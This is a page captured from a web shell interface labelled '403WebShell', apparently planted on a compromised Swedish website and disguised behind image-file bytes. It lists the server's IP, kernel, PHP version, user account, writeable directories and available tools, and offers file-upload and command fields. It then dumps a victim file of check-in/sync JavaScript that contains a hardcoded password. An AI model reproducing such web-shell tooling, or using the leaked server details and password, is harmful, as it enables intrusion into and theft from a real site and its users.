????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.149.7.172
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/symbols/notes/sllas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.notes-online.se/symbols/notes//sllas/startstop.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Untitled Document</title>
<style>
input {
     height: 60px;
     width: 150px;

}
.text {
	font-family: "Arial Black", Gadget, sans-serif;
}
</style>

<script>


function showCSV(){
	
	var companyid = extractValue("companyid");
	window.open("excel_html.php?companyId="+companyid,"_blank");
}

function init(){
	
	
	 
	var path = extractValue("drawingpath");
	var companyid = extractValue("companyid");
	
	var forvaltningsid = path.substr(path.lastIndexOf("/A")+2,4);
	localStorage.setItem("Current_forvaltningsid",forvaltningsid);
	
	 if(localStorage.getItem("Synced_"+companyid+"_"+path) != "Spara"){
		document.getElementById("start").value = "Checka ut!";
	}else{
		document.getElementById("start").value = "Checka in!";
	}
	
	document.getElementById("temp_path").innerHTML = "Fil: "+path.substr(19,100); // Ignore: /Notes Online Files/
}



// Extract variable from url
function extractValue(variable){
	var url = decodeURIComponent(document.location.toString());
    var value = url.substring(url.indexOf(variable+"=") + variable.length + 1);
    var pos = value.indexOf("&");
	if(pos !== -1){
		return value.substring(0, pos);
	}else{
		return value;
	}
}

function delete_checkainut(){
	var c = prompt("Ange lösenord:");
	if(c == "lasupp"){
			
			submit_data();
			
	}else{
		alert("Fel lösenord!");
	}
}

function delete_cache(){
	var c = confirm("Är du säker på att du vill tömma cachen? All osynkad data kommer att försvinna!");
	if(c == true){
		
			localStorage.removeItem("DATA");
		for (var key in localStorage){
			
			
			
			/*if(key.indexOf("Synced_") !== -1){
				localStorage.removeItem(key);
			}*/
			
			
			
			
			if(key.indexOf("SENDTOSERVER") !== -1){
				localStorage.removeItem(key);
			}
			
			if(key.indexOf("_count") !== -1){
				localStorage.removeItem(key);
			}
			
			
			if(key.indexOf("highest") !== -1){
				localStorage.removeItem(key);
			}
		
			


		}	
	}
}

function sync(){
	var path = extractValue("drawingpath");
	var companyid = extractValue("companyid");
	
	if(localStorage.getItem("Synced_"+companyid+"_"+path) == null 
	|| localStorage.getItem("Synced_"+companyid+"_"+path) == undefined
	|| localStorage.getItem("Synced_"+companyid+"_"+path) == "" ){
		
		
		get_data();
	}else if(localStorage.getItem("Synced_"+companyid+"_"+path) == "Spara"){
		

		submit_data();
	}else{
	
		
		get_data();
	}
}

function addZeros(n) {
  return (n<10? '00' : n<100? '0' : '') + n;
}

function get_data(){
		var xmlhttp = new XMLHttpRequest();
		var path = extractValue("drawingpath");
		var companyid = extractValue("companyid");
		var forvaltningsid = localStorage.getItem("Current_forvaltningsid");
		
		
		xmlhttp.open("POST","http://www.notes-online.se/symbols/notes/sllas/getData.php",false);
		xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

		xmlhttp.send("companyid="+extractValue("companyid")+"&username="+extractValue("username")+"&drawingpath="+extractValue("drawingpath")+"&forvaltningsid="+forvaltningsid);

		if(xmlhttp.status == 200){
			
			var arr = xmlhttp.responseText.split("###");
		
			if(arr[0].indexOf("ERROR") < 0){
			
				
				var stationID = "";
				var forvaltningsid = localStorage.getItem("Current_forvaltningsid");
				var highestCountArr = arr[arr.length-1].split("@");
			
				var highestLPT = highestCountArr[0];
				var highestPUC = highestCountArr[1];
				var highestTBN = highestCountArr[2];
				var highestELA = highestCountArr[3];	
				
				var LPT_count = localStorage.getItem(forvaltningsid+"LPT_count");
				var PUC_count = localStorage.getItem(forvaltningsid+"PUC_count");
				var TBN_count = localStorage.getItem(forvaltningsid+"TBN_count");
				var ELA_count = localStorage.getItem(forvaltningsid+"ELA_count");
				
				if(highestLPT < LPT_count){
					localStorage.setItem(forvaltningsid+"LPT_count",LPT_count);
				}else{	
					localStorage.setItem(forvaltningsid+"LPT_count",highestLPT);
				}
				
				if(highestPUC < PUC_count){
					localStorage.setItem(forvaltningsid+"PUC_count",PUC_count);
				}else{	
					localStorage.setItem(forvaltningsid+"PUC_count",highestPUC);
				}
				
				if(highestTBN < TBN_count){
					localStorage.setItem(forvaltningsid+"TBN_count",TBN_count);
				}else{	
					localStorage.setItem(forvaltningsid+"TBN_count",highestTBN);
				}
				
				if(highestELA < ELA_count){
					localStorage.setItem(forvaltningsid+"ELA_count",ELA_count);
				}else{	
						
					localStorage.setItem(forvaltningsid+"ELA_count",highestELA);
				}
				
				
			
				
				
				
		 		arr.splice(arr.length-1, 1);
	
				
			var x = 0;
			for (var a in arr){
				if(arr[x] != ""){
					var obj = JSON.parse(arr[x]);
				}else{
					var obj = null;	
				}
				var y = 0;
				
				
				for(var o in obj){
					if(obj[y][0] == "localStorageName"){
						localStorage.setItem(obj[y][2],arr[x]);
					}
					
					if(obj[y][0] == "installationsid"){
						stationID = obj[y][2].substr(0,4);
						
					}
					
					/*
					if(obj[y][0] == "installationsid" && obj[y][2].indexOf("LPT") !== -1){
						var id = obj[y][2].substr(7,3);
						console.log("ID:"+id);
						if(parseInt(id) > highestLPT){
							highestLPT = parseInt(id);
						}
					}
					
					if(obj[y][0] == "installationsid" && obj[y][2].indexOf("PUC") !== -1){
						var id = obj[y][2].substr(7,3);
						if(parseInt(id) > highestPUC){
							highestPUC = parseInt(id);
						}
					}
					
					if(obj[y][0] == "installationsid" && obj[y][2].indexOf("ELA") !== -1){
						var id = obj[y][2].substr(7,3);
						if(parseInt(id) > highestELA){
							highestELA = parseInt(id);
						}
					}
					
					if(obj[y][0] == "installationsid" && obj[y][2].indexOf("TBN") !== -1){
						var id = obj[y][2].substr(7,3);
						if(parseInt(id) > highestTBN){
							highestTBN = parseInt(id);
						}
					}
					*/
		
					y++;
				}

				x++;
			}	
			
	
			localStorage.setItem(stationID+"LPT_count",addZeros(highestLPT++));
			localStorage.setItem(stationID+"PUC_count",addZeros(highestPUC++));
			localStorage.setItem(stationID+"ELA_count",addZeros(highestELA++));
			localStorage.setItem(stationID+"TBN_count",addZeros(highestTBN++));
			
				localStorage.setItem("Synced_"+companyid+"_"+path,"Spara");
				document.getElementById("start").value = "Checka in!";
				alert("Filen har checkats ut och kan inte ändras av någon annan än dig!");
			}else{
				alert(arr[0]);	
			}
			
		}else{
			alert("Något gick fel vid hämtningen, var god försök igen!");	
		}
}

function submit_data(){
	
	if(checkIfInternet() == true){
		var data = "";
		var path = "";
		for (var key in localStorage){
			if(key.indexOf("SENDTOSERVER") !== -1){
				data += localStorage.getItem(key) + "###";
				//path = key.substr(13,500);
			}
		}
		
		//localStorage.setItem("DATA",data);

		var xmlhttp = new XMLHttpRequest();
		

		xmlhttp.onreadystatechange = function () {
        if (xmlhttp.readyState == 4) {

			if (xmlhttp.readyState==4 && xmlhttp.status==200)
				{
				alert(xmlhttp.responseText);
				document.getElementById("start").value = "Checka ut!";
				localStorage.setItem("Synced_"+companyid+"_"+path,"Hämta");
				
				// Aktivera när allt funkar
					var storedDataName = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath");

					for (var key in localStorage){
						if(key.indexOf(storedDataName) !== -1){
							localStorage.removeItem(key);
						}
					}
					
	
			}else{
				alert("Något gick fel vid synkronisering, var god försök igen!\nFelkoder: "+xmlhttp.status+" : "+xmlhttp.readyState + ":" + data.length);	
			}
        }
    };
	
		
		
		var path = extractValue("drawingpath");
		var companyid = extractValue("companyid");
		xmlhttp.open("POST","http://www.notes-online.se/symbols/notes/sllas/saveData.php",true);
		xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		
		var forvaltningsid = localStorage.getItem("Current_forvaltningsid");
		var highestLPT = localStorage.getItem(forvaltningsid+"LPT_count");
		var highestPUC =localStorage.getItem(forvaltningsid+"PUC_count");
		var highestTBN = localStorage.getItem(forvaltningsid+"TBN_count");
		var highestELA = localStorage.getItem(forvaltningsid+"ELA_count");
		
		if(highestLPT == "null"){
			highestLPT = "000";
		}
		if(highestPUC == "null"){
			highestPUC = "000";
		}if(highestTBN == "null"){
			highestTBN = "000";
		}if(highestELA == "null"){
			highestELA = "000";
		}
				xmlhttp.send("data="+data+"&companyid="+companyid+"&drawingpath="+path+"&highestLPT="+highestLPT+"&highestPUC="+highestPUC+"&highestTBN="+highestTBN+"&highestELA="+highestELA+"&forvaltningsid="+forvaltningsid);
		
		
	//	xmlhttp.onreadystatechange=function(){
			

	//	 }
		 
		 
		
	}else{
		alert("Det gick inte att ansluta till servern. Kontrollera din Internetanslutning och försök igen!");	
	}
}

function checkIfInternet(){	
	var req = new XMLHttpRequest();
	req.open('GET', "http://www.notes-online.se", false); 
	req.send(null);
	if(req.status == 200){
		return true;		
	}else{
		return false;
	}
}

function fillTextArea(){
	
	
	var data = "";
		var path = "";
		var x = 0;
		for (var key in localStorage){
			if( x >= 2000 && x <= 2500){
				if(key.indexOf("SENDTOSERVER") !== -1 ){
					data += localStorage.getItem(key) + "###";
					//path = key.substr(13,500);
				}
			}
			x++;
		}
		
		
		
	document.getElementById("textarea").value = data;
	


}


</script>
</head>


<body onload="init();">
<center>
  <input name="start" id="start" type="button" value="Spara!" style="font-size:16px" onclick="sync();"/>
  <input name="start3" id="start3" type="button" value="Ta bort CACHE!" style="font-size:16px" onclick="delete_cache();"/>
  <br />
<br />
<span class="text">
<div id="temp_path"></div>
</span>
<br />
<input name="start5" id="start5" type="button" value="Exportera PDF och bilder!" style="font-size:16px;width:210px" onclick="document.location.href='ExportToNotesServer://EXPORT'"/>
 <input name="start4" id="start4" type="button" value="Spara utan att Exportera!" style="font-size:16px;width:210px" onclick="document.location.href='Save://SAVE'"/>

 <br />
 <br />
 <br />
 <br />
<input name="start2" id="start2" type="button" value="Nollställ checka-in/ut" style="font-size:16px;width:210px" onclick="delete_checkainut();"/>
<br />
 <br />
<br />
 <br />

</center>
<p>
<!--
  <form action="mailto.php" method="post" enctype="application/x-www-form-urlencoded">
  <textarea name="textarea" id="textarea" cols="55" rows="10"></textarea>
  <a href="javascript:fillTextArea();">Fyll</a>
  <input name="" type="submit" />
  </form>
  --></p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit